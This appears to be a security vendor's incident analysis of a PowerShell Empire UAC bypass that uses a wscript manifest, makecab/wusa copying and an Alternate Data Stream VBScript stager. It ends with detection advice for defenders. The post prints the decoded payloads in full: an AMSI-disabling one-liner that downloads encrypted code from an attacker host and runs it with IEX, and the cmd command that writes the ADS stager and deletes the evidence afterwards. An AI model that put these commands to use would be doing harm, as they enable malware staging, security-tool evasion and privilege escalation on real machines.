Alternate Data Streams

Using Alternate Data Streams to Bypass User Account Controls

Keshia LeVan

Share this Project

There are some pretty cool PowerShell frameworks out there, which means it’s relatively common to see PowerShell doing nefarious things. So when the below alert fired, it was not immediately obvious that it was anything other than normal PowerShell encoding:

Alternate Data Streams

Digging a little deeper, however, I found that the pattern of behavior was nearly identical to what happens when you execute this PowerShell Empire script. Now things are getting a little more interesting.

What the Attacker Is Doing

Essentially the script is using WScript to bypass the User Account Controls (UAC) on a machine. It should be noted that an attacker would need to find some way to get this script onto the machine in question in order to utilize the exploit, but it’s still pretty neat. Alternate Data Streams (ADS), WScript, VBScript, PowerShell, and injection into Notepad—what could possibly go wrong?

This post will walk through several common methods that attackers use, as well as a relatively novel way to bypass UAC in order to elevate commands to run with Administrative privileges via Wscript and a file written to an ADS, illustrated using data derived from the Carbon Black Response Endpoint Detection and Response (EDR) platform. I’ve done some testing to validate assumptions where possible. As always, many thanks to those who publish their code.

Analyzing Endpoint Data: a Timeline

Going back to our alert, the first process of interest is cmd.exe launching powershell.exe. This isn’t odd at all, but anytime you see a combination of the -noP and the -enc flags being passed to PowerShell, it’s probably worth taking a look at what the encoded command is doing. As you can see, this is a pretty hefty base64 encoded block—but again, sometimes this can be legitimate.

Alternate Data Streams

Once you decode the command, however, you can immediately see that it’s not legitimate activity. It could be someone’s twisted idea of how to best obfuscate a simple script (job security and all), but it’s more likely that something like this is someone doing something shady. Some things that are immediately odd include the unnecessary switching of case. Windows doesn’t care about case, so it would only be for readability and you can pretty quickly spot things like CReDENtiaALS that make no sense.

`[REf].ASSEMbly.GEtTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GETFiElD('amsiInitFailed','NonPublic,Static').SETVALue($NULL,$TrUe)};[System.NET.SERvIcEPointManAGEr]::EXpECT100CoNTinue=0;$WC=NeW-ObJeCt SYsteM.NET.WeBCLiEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.HeAderS.Add('User-Agent',$u);$Wc.PrOxY=[SYSTEM.NET.WeBREqUEsT]::DeFAUlTWebPROXy;$WC.PROXy.CReDENtiALs = [SYSTEM.Net.CRedENtiALCaCHE]::DefauLtNETWoRkCREdEnTiAls;$K=[SySteM.TeXt.EncOding]::ASCII.GEtBYTES('q#/ipT0Lj9;}6=?%-(k{>Yzz]GZ2nI5^');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEADERS.ADd("Cookie","session=BvvAAAAAAA/wYHNqEIs=");$ser='https://baddomain.:443';$t='/login/process.php';$DatA=$WC.DOwNLOADData($sEr+$t);$iv=$DatA[0..3];$data=$dAta[4..$Data.lENGtH];-joiN[Char[]](& $R $DAtA ($IV+$K))|IEX`

Even without fully deobfuscating this, you can see that there are a lot of references to network functions such as New-Object Sytem.Net.Webclient, a User-Agent string, and the domain to which the process will connect. The command in full is being passed to Invoke-Expression, which is a PowerShell Commandlet that will execute the passed script. While it’s somewhat obfuscated, the computer will handle it as if it didn’t have a bunch of random variables and out of order commands.

This brings us to suspicious thing number two: PowerShell makes an external network connection. With the exception of connections to some Microsoft-affiliated domains, this is uncommon in most environments and warrants a closer look. Also of interest here is the file that is written: wscript.exe.manifest.

Alternate Data Streams

This is where having EDR data alone can be a bit of a dead end. The file did not execute, it was simply written, and we have no idea what the file contains. Still, let’s take a look at the script we think is responsible to see whether the corresponding endpoint artifacts line up. You’re not always going to be able to do this as not every attack is going to mirror a publicly available source, but in this case it’s really neat how the data supports the theory that this was the script used.

One possible detection method here is wscript.exe.manifest being written to the user’s temp directory. Yes, this is very specific, but it’s also uncommon–frequency of any event can be a great point of context. I’d also do a quick search and see whether wscript.exe.manifest is commonly used anywhere; if it’s not, then I’d look for instances where it’s written or modified.

Let’s take a quick look at the script we think the attacker used and then compare it to the artifacts found in the endpoint data.

Alternate Data StreamsSo what’s happening? Well, we can see that $WScriptManifest will contain an xml value, with a requested Execution Level of “RequireAdministrator.” This gets written to the path contained in the environment variable Temp. As you can see, this matches on the path we’d expect from the above Carbon Black Response data. So, I’m making a bit of an assumption that what we saw in our alert had similar contents. The purpose of this file appears to be ensuring that WScript is run as Administrator.

The below shows what the variables would look like from an out-of-the-box Windows 10 machine.

Alternate Data StreamsThe next part of the script Invoke-CopyFile is where it gets a little more interesting. It takes two inputs and then uses makecab and wusa to do something.

Alternate Data StreamsHowever, first there’s a call to Get-TempFileName, which does exactly that: get a random, temporary filename. This will ensure the script doesn’t drop files with the same name twice, which throws out using filename-based indicators for this. What’s cool is that this is all implemented using built-in PowerShell features.

Alternate Data StreamsBack to Invoke-CopyFile: It’s called twice. I’m not claiming to explain the inner workings of makecab and wusa, but in this case, other than their intent, they seem to be behaving as expected. Interestingly, when I went to test this on my Windows 10 machine /EXTRACT did not seem to be a valid wusaoption. Based on some research, it seems that Microsoft may have removed this in order to mitigate this exact UAC vulnerability. However, it will still work on Windows 7 systems.

Now, back to our endpoint data to see whether it matches what was in the script. Looking at the data, it seems that it does; there is wusa is creating a randomly named file in the user’s temp directory, as shown in the Invoke-CopyFile function in the script. Then wusa.exe extracts that file into C:\Windows, but renames it as wscript.exe.manifest.

Alternate Data Streams

Alternate Data Streams

Remember how Invoke-CopyFile was called twice? The second time it uses makecab to create a copy of wscript.exe from system32.

Alternate Data Streams

Alternate Data Streams

Then it writes this file to C:\Windows. This write is important from a detection standpoint, as it is not common for signed Microsoft executables to be copied and executed from non-standard locations. Looking for core platform files being written to or executed from non-standard locations is a valuable detection technique. It takes a bit of work to narrow down the list and account for changes across versions and patch levels, but it absolutely provides value.

Alternate Data StreamsWriting to C:\Windows

Alternate Data StreamsThe script performs some cleanup by deleting files, and then calls Invoke-WscriptTrigger – again the data that we see on the endpoint seems to corroborate that this is the same behavior. The purpose of this function is to build a variable called $VBSPayload that will be used to populate an Alternate Data Stream (ADS).

An ADS is, as John Marlin would describe, “a data stream that is alternate.” Functionally, a data stream is a named attribute of a file that may contain data. Every file has at least one data stream, containing the contents of the file itself. ADS is a means through which additional types of data, typically data that describes the file or its primary contents, may be conveniently stored. It is used in a variety of legitimate ways. For instance, the Zone.Identifier ADS is used by the browser to identify the pedigree of a downloaded file. But, as is the case with most features, it can also be used for evil. In cases such as this, ADS may be used to append a script or malicious binary payload alongside an otherwise benign file.

Alternate Data StreamsThis time when you look at the endpoint data, you can very easily see that this matches what the script function is doing. $payload is the variable that will contain whatever custom exploit or action that the executor of the script specifies.

Alternate Data StreamsThis is the full command, minus the base64-encoded portion:

“C:\Windows\system32\cmd.exe" /C "echo Dim objShell:Dim oFso:Set oFso = CreateObject("Scripting.FileSystemObject"):Set objShell = WScript.CreateObject("WScript.Shell"):command = "powershell -noP -w 1 -enc ==":objShell.Run command, 0:command = "C:\Windows\System32\cmd.exe /c ""start /b """" cmd /c ""timeout /t 5 >nul&&del C:\Windows\wscript.exe&&del C:\Windows\wscript.exe.manifest""""":objShell.Run command, 0:Set objShell = Nothing > "C:\Users\Owner\AppData:0lxgwl1xxyp.vbs""

The0lxgwl1xxyp.vbsADS gets written to the user’s appdata directory.

What Can Defenders Do?

One suggestion is to watch for file modifications that contain a colon, as this is the standard ADS marker. Files containing an ADS are difficult to identify using built-in Windows utilities such as the shell or Explorer. The Streams utility is a venerable tool for this task, and PowersShell’s Get-Item commandlet can provide this information as well. Of course, if you are performing just about any form of EDR-like data collection, looking for the colon marker in filename metadata is the easiest way to detect the creation of an ADS.

Alternate Data StreamsThe PowerShell script actually does all this in one function, and then we can see via Carbon Black Response the process spawning on the endpoint. Here wscript.exe is then used to launch the ADS-containing file. As you can see, it’s C:\Windows\wscript.exe where we’d normally expect to see C:\Windows\System32\wscript.exe.

Alternate Data Streams

Alternate Data Streams

This command will remove the wscript.exe.manifest and wscript.exe files from C:\Windows.

Alternate Data StreamsHere is the plaintext version of the payload.

‘’’ "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -w 1 -enc WwBSAGUARgBdAC4AQQBTAHMAZQBtAGIATAB5AC4ARwBlAHQAVAB5AFAAZQAoACcAUwB5AHM KQB8AEkARQBYAA==’’’

This decodes to:
[ReF].ASsembLy.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GETFIeLd('amsiInitFailed','NonPublic,Static').SETValuE($nUlL,$tRUe)};[SYStEm.NET.SerViCePoiNTMANageR]::EXPECt100COntinUe=0;$WC=NeW-ObJEcT SystEM.Net.WeBCLiEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$Wc.HEaDeRs.AdD('User-Agent',$u);$Wc.PrOXy=[SYSTEm.NeT.WEBREqueSt]::DEfAUlTWeBPRoxY;$wC.PROXy.CreDentials = [System.NeT.CrEDENtIAlCAchE]::DEfaULTNETWorkCredENTIaLS;$K=[SySTEm.TEXT.ENCODinG]::ASCII.GETBytES('q#/ipT0Lj9;}6=?%-(k{>Ywm]GZ2nI5^');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$wc.HEAders.AdD("Cookie","session=TQeI3t1Xa6MvT6vdkCTdoHOZGqw=");$ser='https://:443';$t='/login/process.php';$dAtA=$WC.DOWnlOAdDAta($ser+$T);$Iv=$dATa[0..3];$DAtA=$DaTa[4..$DATa.lEnGtH];-JoiN[CHar[]](& $R $data ($IV+$K))|IEX

After execution, the ADS-containing file is deleted.

Now we get to the part that is customized by the attacker. In this case, they use the payload to inject into notepad.exe. There are a few cases where PowerShell injecting into another process is expected, but notepad.exe is not one of these cases. If you have endpoint data, PowerShell as an injection initiator is another useful bit of detection criteria. In fact, this was one of the methods used to detect abnormal behavior on this endpoint.

Alternate Data StreamsMuch like above, when a file is written and we have no way of viewing the contents, it is not always clear what the attacker does within the Notepad process. However, we can see some odd follow-on behavior. Specifically, notepad.exe making an external network connection. This is not normal behavior and merits a further investigation.

Alternate Data StreamsThe last thing we see is notepad.exe launch dw20.exe, which is a binary associated with Microsoft Error reporting. It is entirely possible that the attacker’s payload crashed the process.

Alternate Data Streams

Why Endpoint Visibility Is Critical

Thankfully, this attack did not result in any impact to our customer. The exploit was successful, but from what we observed the later-stage payload delivery failed. It’s important to note that the primary purpose of this exploit is to bypass the UAC controls, not necessarily to be stealthy.

As you can see, there are a fair number of techniques that you can use to detect this, including:

  • PowerShell using encoded commands via Invoke-Expression (as ‘IEX’)
  • Injection into notepad
  • Windows binaries executing from abnormal locations
  • Notepad and PowerShell establishing external network connections
  • Process arguments or file modifications where a filename contains an ADS

Visibility into endpoint activity, extensive detection criteria, and continuous monitoring are critical for detecting threats like this. Red Canary exists to identify these types of behaviors, investigate them, and notify customers of malicious activity. If you lack this visibility or need another layer of security, see how Red Canary performs in your environment.

Request a demo with Red Canary